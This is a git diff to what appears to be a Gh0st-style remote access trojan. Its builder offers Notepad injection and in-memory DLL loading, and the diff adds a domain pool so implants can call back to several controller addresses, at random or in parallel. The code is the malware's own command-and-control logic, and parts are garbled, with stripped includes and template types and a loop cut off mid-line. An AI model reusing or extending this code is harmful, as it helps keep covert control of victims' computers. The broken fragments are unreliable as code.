diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index f26ab89..ef94232 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -467,6 +467,16 @@ DWORD WINAPI StartClient(LPVOID lParam) { ClientApp& app(*(ClientApp*)lParam); CONNECT_ADDRESS& settings(*(app.g_Connection)); + auto list = app.GetSharedMasterList(); + if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) { + for (int i=1; i #include #include +#include "domain_pool.h" BOOL IsProcessExit(); @@ -41,6 +42,11 @@ typedef struct ClientApp m_bShared = shared; g_bThreadExit = TRUE; } + std::vector GetSharedMasterList() { + DomainPool pool = g_Connection->ServerIP(); + auto list = pool.GetIPList(); + return list; + } ~ClientApp() { SAFE_DELETE(g_Connection); } diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index a1083e0..c79b4b7 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -48,6 +48,7 @@ inline int WSAGetLastError() { return -1; } #endif #endif #endif +#include ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -97,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit) { + m_nHostPort = 0; m_Manager = NULL; #ifdef _WIN32 WSADATA wsaData; @@ -152,11 +154,16 @@ IOCPClient::~IOCPClient() } // 从域名获取IP地址 -inline std::string GetIPAddress(const char *hostName) +std::string GetIPAddress(const char *hostName) { #ifdef _WIN32 + struct sockaddr_in sa = { 0 }; + if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { + return hostName; + } struct hostent *host = gethostbyname(hostName); #ifdef _DEBUG + if (host == NULL) return ""; Mprintf("此域名的IP类型为: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6"); for (int i = 0; host->h_addr_list[i]; ++i) Mprintf("获取的第%d个IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i])); @@ -189,6 +196,12 @@ inline std::string GetIPAddress(const char *hostName) BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { + if (szServerIP != NULL && uPort != 0) { + SetServerAddress(szServerIP, uPort); + } + m_sCurIP = m_Domain.SelectIP(); + unsigned short port = m_nHostPort; + m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //传输层 if (m_sClientSocket == SOCKET_ERROR) @@ -200,11 +213,8 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) //构造sockaddr_in结构 也就是主控端的结构 sockaddr_in ServerAddr; ServerAddr.sin_family = AF_INET; //网络层 IP - ServerAddr.sin_port = htons(uPort); - // 若szServerIP非数字开头,则认为是域名,需进行IP转换 - std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9') - ? szServerIP : GetIPAddress(szServerIP); - ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str()); + ServerAddr.sin_port = htons(port); + ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) { @@ -218,13 +228,10 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) #else sockaddr_in ServerAddr = {}; ServerAddr.sin_family = AF_INET; // 网络层 IP - ServerAddr.sin_port = htons(uPort); - std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9') - ? szServerIP : GetIPAddress(szServerIP); - + ServerAddr.sin_port = htons(port); // 若szServerIP非数字开头,则认为是域名,需进行IP转换 // 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6) - if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) { + if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) { Mprintf("Invalid address or address not supported\n"); return false; } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 02e7e7f..d1cfe88 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -19,6 +19,7 @@ #include "Buffer.h" #include "common/commands.h" #include "zstd/zstd.h" +#include "domain_pool.h" #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32 @@ -86,6 +87,11 @@ public: BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); + void SetServerAddress(const char* szServerIP, unsigned short uPort) { + m_Domain = szServerIP ? szServerIP : "127.0.0.1"; + m_nHostPort = uPort; + } + BOOL IsRunning() const { return m_bIsRunning; @@ -110,7 +116,9 @@ public: State& g_bExit; // 全局状态量 void* m_Manager; // 用户数据 DataProcessCB m_DataProcess; // 处理用户数据 - + DomainPool m_Domain; + std::string m_sCurIP; + int m_nHostPort; bool m_exit_while_disconnect; }; diff --git a/client/domain_pool.h b/client/domain_pool.h new file mode 100644 index 0000000..b794dc4 --- /dev/null +++ b/client/domain_pool.h @@ -0,0 +1,31 @@ +#pragma once +#include +#include +#include + +std::string GetIPAddress(const char* hostName); + +class DomainPool { +private: + char Address[100]; // 此长度和CONNECT_ADDRESS定义匹配 + std::vector IPList; +public: + DomainPool() { + memset(Address, 0, sizeof(Address)); + } + DomainPool(const char* addr) { + strcpy_s(Address, addr ? addr : ""); + IPList = StringToVector(Address, ';'); + for (int i = 0; i < IPList.size(); i++) + { + IPList[i] = GetIPAddress(IPList[i].c_str()); + } + } + std::string SelectIP() const { + auto n = rand() % IPList.size(); + return IPList[n]; + } + std::vector GetIPList() const { + return IPList; + } +}; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index d7012d9..730f391 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -206,6 +206,7 @@ + diff --git a/client/main.c b/client/main.c index e23b5e0..ac6fc52 100644 --- a/client/main.c +++ b/client/main.c @@ -188,7 +188,9 @@ struct CONNECT_ADDRESS int iMultiOpen; int iStartup; int iHeaderEnc; - char szReserved[62]; + char protoType; + char runningType; + char szReserved[60]; char pwdHash[64]; }g_Server = { "Hello, World!", "127.0.0.1", "6543" }; diff --git a/common/commands.h b/common/commands.h index 0eda9f9..6b95521 100644 --- a/common/commands.h +++ b/common/commands.h @@ -465,6 +465,18 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in return -1; } +enum ProtoType { + PROTO_TCP = 0, // TCP + PROTO_UDP = 1, // UDP + PROTO_HTTP = 2, // HTTP + PROTO_HTTPS = 3, // HTTPS +}; + +enum RunningType { + RUNNING_RANDOM = 0, // 随机上线 + RUNNING_PARALLEL = 1, // 并发上线 +}; + // 所连接的主控程序信息 typedef struct CONNECT_ADDRESS { @@ -478,7 +490,9 @@ public: int iMultiOpen; int iStartup; // 启动方式 int iHeaderEnc; // 数据加密类型 - char szReserved[62]; // 占位,使结构体占据300字节 + char protoType; // 协议类型 + char runningType; // 运行方式 + char szReserved[60]; // 占位,使结构体占据300字节 char pwdHash[64]; public: diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 7d71718..6cd8a32 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 48822c2..e698e53 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -72,6 +72,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem); DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits); + DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType); } @@ -146,6 +147,7 @@ void CBuildDlg::OnBnClickedOk() //////////上线信息////////////////////// CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 }; g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); + g_ConnectAddress.runningType = m_ComboRunType.GetCurSel(); if (!g_ConnectAddress.IsValid()) { SAFE_DELETE_ARRAY(szBuffer); @@ -236,6 +238,8 @@ BOOL CBuildDlg::OnInitDialog() CDialog::OnInitDialog(); // TODO: 在此添加额外的初始化 + CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP); + pEdit->LimitText(99); m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - 磁盘DLL"); m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - 内存DLL"); m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - 注入记事本"); @@ -249,6 +253,10 @@ BOOL CBuildDlg::OnInitDialog() m_ComboBits.InsertString(1, "32位"); m_ComboBits.SetCurSel(0); + m_ComboRunType.InsertString(RUNNING_RANDOM, "随机上线"); + m_ComboRunType.InsertString(RUNNING_PARALLEL, "并发上线"); + m_ComboRunType.SetCurSel(RUNNING_RANDOM); + m_OtherItem.ShowWindow(SW_HIDE); return TRUE; // return TRUE unless you set the focus to a control diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index fbdbfc6..1575c3a 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -32,4 +32,5 @@ public: afx_msg void OnCbnSelchangeComboExe(); CStatic m_OtherItem; CComboBox m_ComboBits; + CComboBox m_ComboRunType; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index a391c5c..dd16c73 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ